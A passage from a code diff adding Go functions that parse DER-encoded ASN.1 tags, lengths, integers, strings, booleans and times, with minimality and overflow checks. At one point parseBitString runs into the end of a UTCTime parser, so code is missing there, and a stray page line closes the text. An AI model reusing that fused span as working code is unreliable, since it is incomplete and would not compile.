parsePrintableString(innerBytes) + case asn1.TagNumericString: + v, err = parseNumericString(innerBytes) + case asn1.TagIA5String: + v, err = parseIA5String(innerBytes) + case asn1.TagT61String: + v, err = parseT61String(innerBytes) + case asn1.TagUTF8String: + v, err = parseUTF8String(innerBytes) + case asn1.TagGeneralString: + // GeneralString is specified in ISO-2022/ECMA-35, + // A brief review suggests that it includes structures + // that allow the encoding to change midstring and + // such. We give up and pass it as an 8-bit string. + v, err = parseT61String(innerBytes) + case asn1.TagBMPString: + v, err = parseBMPString(innerBytes) + + default: + err = asn1.SyntaxError{Msg: fmt.Sprintf("internal error: unknown string type %d", universalTag)} + } + if err == nil { + val.SetString(v) + } + return + } + err = asn1.StructuralError{Msg: "unsupported: " + v.Type().String()} + return +} + +// parseTagAndLength parses an ASN.1 tag and length pair from the given offset +// into a byte slice. It returns the parsed data and the new offset. SET and +// SET OF (tag 17) are mapped to SEQUENCE and SEQUENCE OF (tag 16) since we +// don't distinguish between ordered and unordered objects in this code. +func parseTagAndLength(bytes []byte, initOffset int) (ret tagAndLength, offset int, err error) { + offset = initOffset + // parseTagAndLength should not be called without at least a single + // byte to read. Thus this check is for robustness: + if offset >= len(bytes) { + err = errors.New("asn1: internal error in parseTagAndLength") + return + } + b := bytes[offset] + offset++ + ret.class = int(b >> 6) + ret.isCompound = b&0x20 == 0x20 + ret.tag = int(b & 0x1f) + + // If the bottom five bits are set, then the tag number is actually base 128 + // encoded afterwards + if ret.tag == 0x1f { + ret.tag, offset, err = parseBase128Int(bytes, offset) + if err != nil { + return + } + // Tags should be encoded in minimal form. + if ret.tag < 0x1f { + err = asn1.SyntaxError{Msg: "non-minimal tag"} + return + } + } + if offset >= len(bytes) { + err = asn1.SyntaxError{Msg: "truncated tag or length"} + return + } + b = bytes[offset] + offset++ + if b&0x80 == 0 { + // The length is encoded in the bottom 7 bits. + ret.length = int(b & 0x7f) + } else { + // Bottom 7 bits give the number of length bytes to follow. + numBytes := int(b & 0x7f) + if numBytes == 0 { + err = asn1.SyntaxError{Msg: "indefinite length found (not DER)"} + return + } + ret.length = 0 + for i := 0; i < numBytes; i++ { + if offset >= len(bytes) { + err = asn1.SyntaxError{Msg: "truncated tag or length"} + return + } + b = bytes[offset] + offset++ + if ret.length >= 1<<23 { + // We can't shift ret.length up without + // overflowing. + err = asn1.StructuralError{Msg: "length too large"} + return + } + ret.length <<= 8 + ret.length |= int(b) + if ret.length == 0 { + // DER requires that lengths be minimal. + err = asn1.StructuralError{Msg: "superfluous leading zeros in length"} + return + } + } + // Short lengths must be encoded in short form. + if ret.length < 0x80 { + err = asn1.StructuralError{Msg: "non-minimal length"} + return + } + } + + return +} + +// parseBase128Int parses a base-128 encoded int from the given offset in the +// given byte slice. It returns the value and the new offset. +func parseBase128Int(bytes []byte, initOffset int) (ret, offset int, err error) { + offset = initOffset + var ret64 int64 + for shifted := 0; offset < len(bytes); shifted++ { + // 5 * 7 bits per byte == 35 bits of data + // Thus the representation is either non-minimal or too large for an int32 + if shifted == 5 { + err = asn1.StructuralError{Msg: "base 128 integer too large"} + return + } + ret64 <<= 7 + b := bytes[offset] + // integers should be minimally encoded, so the leading octet should + // never be 0x80 + if shifted == 0 && b == 0x80 { + err = asn1.SyntaxError{Msg: "integer is not minimally encoded"} + return + } + ret64 |= int64(b & 0x7f) + offset++ + if b&0x80 == 0 { + ret = int(ret64) + // Ensure that the returned value fits in an int on all platforms + if ret64 > math.MaxInt32 { + err = asn1.StructuralError{Msg: "base 128 integer too large"} + } + return + } + } + err = asn1.SyntaxError{Msg: "truncated base 128 integer"} + return +} + +// parsePrintableString parses an ASN.1 PrintableString from the given byte +// array and returns it. +func parsePrintableString(bytes []byte) (ret string, err error) { + for _, b := range bytes { + if !isPrintable(b, allowAsterisk, allowAmpersand) { + err = asn1.SyntaxError{Msg: "PrintableString contains invalid character"} + return + } + } + ret = string(bytes) + return +} + +// invalidLength reports whether offset + length > sliceLength, or if the +// addition would overflow. +func invalidLength(offset, length, sliceLength int) bool { + return offset+length < offset || offset+length > sliceLength +} + +// parseNumericString parses an ASN.1 NumericString from the given byte array +// and returns it. +func parseNumericString(bytes []byte) (ret string, err error) { + for _, b := range bytes { + if !isNumeric(b) { + return "", asn1.SyntaxError{Msg: "NumericString contains invalid character"} + } + } + return string(bytes), nil +} + +// isNumeric reports whether the given b is in the ASN.1 NumericString set. +func isNumeric(b byte) bool { + return '0' <= b && b <= '9' || + b == ' ' +} + +// parseIA5String parses an ASN.1 IA5String (ASCII string) from the given +// byte slice and returns it. +func parseIA5String(bytes []byte) (ret string, err error) { + for _, b := range bytes { + if b >= utf8.RuneSelf { + err = asn1.SyntaxError{Msg: "IA5String contains invalid character"} + return + } + } + ret = string(bytes) + return +} + +// parseT61String parses an ASN.1 T61String (8-bit clean string) from the given +// byte slice and returns it. +func parseT61String(bytes []byte) (ret string, err error) { + return string(bytes), nil +} + +// parseUTF8String parses an ASN.1 UTF8String (raw UTF-8) from the given byte +// array and returns it. +func parseUTF8String(bytes []byte) (ret string, err error) { + if !utf8.Valid(bytes) { + return "", errors.New("asn1: invalid UTF-8 string") + } + return string(bytes), nil +} + +// parseInt64 treats the given bytes as a big-endian, signed integer and +// returns the result. +func parseInt64(bytes []byte) (ret int64, err error) { + err = checkInteger(bytes) + if err != nil { + return + } + if len(bytes) > 8 { + // We'll overflow an int64 in this case. + err = asn1.StructuralError{Msg: "integer too large"} + return + } + for bytesRead := 0; bytesRead < len(bytes); bytesRead++ { + ret <<= 8 + ret |= int64(bytes[bytesRead]) + } + + // Shift up and down in order to sign extend the result. + ret <<= 64 - uint8(len(bytes))*8 + ret >>= 64 - uint8(len(bytes))*8 + return +} + +// checkInteger returns nil if the given bytes are a valid DER-encoded +// INTEGER and an error otherwise. +func checkInteger(bytes []byte) error { + if len(bytes) == 0 { + return asn1.StructuralError{Msg: "empty integer"} + } + if len(bytes) == 1 { + return nil + } + if (bytes[0] == 0 && bytes[1]&0x80 == 0) || (bytes[0] == 0xff && bytes[1]&0x80 == 0x80) { + return asn1.StructuralError{Msg: "integer not minimally-encoded"} + } + return nil +} + +// parseBitString parses an ASN.1 bit string from the given byte slice and returns it. +func parseBitString(bytes []byte) (ret asn1.BitString, err error) { + if len(bytes) == 0 { + err = asn1.SyntaxError{Msg: "zero length BIT STRING"} + return + } + paddingBits := int(bytes[0]) + if paddingBits > 7 || + len(bytes) == 1 && paddingBits > 0 || + bytes[len(bytes)-1]&((1<= 2050 { + // UTCTime only encodes times prior to 2050. See https://tools.ietf.org/html/rfc5280#section-4.1.2.5.1 + ret = ret.AddDate(-100, 0, 0) + } + + return +} + +// parseGeneralizedTime parses the GeneralizedTime from the given byte slice +// and returns the resulting time. +func parseGeneralizedTime(bytes []byte) (ret time.Time, err error) { + const formatStr = "20060102150405Z0700" + s := string(bytes) + + if ret, err = time.Parse(formatStr, s); err != nil { + return + } + + if serialized := ret.Format(formatStr); serialized != s { + err = fmt.Errorf("asn1: time did not serialize back to the original value and may be invalid: given %q, but serialized as %q", s, serialized) + } + + return +} + +// parseBMPString parses an ASN.1 BMPString (Basic Multilingual Plane of +// ISO/IEC/ITU 10646-1) from the given byte slice and returns it. +func parseBMPString(bmpString []byte) (string, error) { + if len(bmpString)%2 != 0 { + return "", errors.New("pkcs12: odd-length BMP string") + } + + // Strip terminator if present. + if l := len(bmpString); l >= 2 && bmpString[l-1] == 0 && bmpString[l-2] == 0 { + bmpString = bmpString[:l-2] + } + + s := make([]uint16, 0, len(bmpString)/2) + for len(bmpString) > 0 { + s = append(s, uint16(bmpString[0])<<8+uint16(bmpString[1])) + bmpString = bmpString[2:] + } + + return string(utf16.Decode(s)), nil +} + +// Given a reflected Go type, getUniversalType returns the default tag number +// and expected compound flag. +func getUniversalType(t reflect.Type) (matchAny bool, tagNumber int, isCompound, ok bool) { + switch t { + case rawValueType: + return true, -1, false, true + case objectIdentifierType: + return false, asn1.TagOID, false, true + case bitStringType: + return false, asn1.TagBitString, false, true + case timeType: + return false, asn1.TagUTCTime, false, true + case enumeratedType: + return false, asn1.TagEnum, false, true + case bigIntType: + return false, asn1.TagInteger, false, true + } + switch t.Kind() { + case reflect.Bool: + return false, asn1.TagBoolean, false, true + case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: + return false, asn1.TagInteger, false, true + case reflect.Struct: + return false, asn1.TagSequence, true, true + case reflect.Slice: + if t.Elem().Kind() == reflect.Uint8 { + return false, asn1.TagOctetString, false, true + } + if strings.HasSuffix(t.Name(), "SET") { + return false, asn1.TagSet, true, true + } + return false, asn1.TagSequence, true, true + case reflect.String: + return false, asn1.TagPrintableString, false, true + } + return false, 0, false, false +} + +// parseInt treats the given bytes as a big-endian, signed integer and returns +// the result. +func parseInt32(bytes []byte) (int32, error) { + if err := checkInteger(bytes); err != nil { + return 0, err + } + ret64, err := parseInt64(bytes) + if err != nil { + return 0, err + } + if ret64 != int64(int32(ret64)) { + return 0, asn1.StructuralError{Msg: "integer too large"} + } + return int32(ret64), nil +} + +var bigOne = big.NewInt(1) + +// parseBigInt treats the given bytes as a big-endian, signed integer and returns +// the result. +func parseBigInt(bytes []byte) (*big.Int, error) { + if err := checkInteger(bytes); err != nil { + return nil, err + } + ret := new(big.Int) + if len(bytes) > 0 && bytes[0]&0x80 == 0x80 { + // This is a negative number. + notBytes := make([]byte, len(bytes)) + for i := range notBytes { + notBytes[i] = ^bytes[i] + } + ret.SetBytes(notBytes) + ret.Add(ret, bigOne) + ret.Neg(ret) + return ret, nil + } + ret.SetBytes(bytes) + return ret, nil +} + +func parseBool(bytes []byte) (ret bool, err error) { + if len(bytes) != 1 { + err = asn1.SyntaxError{Msg: "invalid boolean"} + return + } + + // DER demands that "If the encoding represents the boolean value TRUE, + // its single contents octet shall have all eight bits set to one." + // Thus only 0 and 255 are valid encoded values. + switch bytes[0] { + case 0: + ret = false + case 0xff: + ret = true + default: + err = asn1.SyntaxError{Msg: "invalid boolean"} + } + + return +} + +// parseSequenceOf is used for SEQUENCE OF and SET OF values. It tries to parse +// a number of ASN.1 values from the given byte slice and returns them as a +// slice of Go values of the given type. +func parseSequenceOf(bytes []byte, sliceType reflect.Type, elemType reflect.Type) (ret reflect.Value, err error) { + matchAny, expectedTag, compoundType, ok := getUniversalType(elemType) + if !ok { + err = asn1.StructuralError{Msg: "unknown Go type for slice"} + return + } + + // First we iterate over the input and count the number of elements, + // checking that the types are correct in each case. + numElements := 0 + for offset := 0; offset < len(bytes); { + var t tagAndLength + t, offset, err = parseTagAndLength(bytes, offset) + if err != nil { + return + } + switch t.tag { + case asn1.TagIA5String, asn1.TagGeneralString, asn1.TagT61String, asn1.TagUTF8String, asn1.TagNumericString, asn1.TagBMPString: + // We pretend that various other string types are + // PRINTABLE STRINGs so that a sequence of them can be + // parsed into a []string. + t.tag = asn1.TagPrintableString + case asn1.TagGeneralizedTime, asn1.TagUTCTime: + // Likewise, both time types are treated the same. + t.tag = asn1.TagUTCTime + } + + if !matchAny && (t.class != classUniversal || t.isCompound != compoundType || t.tag != expectedTag) { + err = asn1.StructuralError{Msg: "sequence tag mismatch"} + return + } + if invalidLength(offset, t.length, len(bytes)) { + err = asn1.SyntaxError{Msg: "truncated sequence"} + return + } + offset += t.length + numElements++ + } + ret = reflect.MakeSlice(sliceType, numElements, numElements) + params := fieldParameters{} + offset := 0 + for i := 0; i < numElements; i++ { + offset, err = customParseField(ret.Index(i), bytes, offset, params) + if err != nil { + return + } + } + return +}
Unable to display PDF file. Download instead.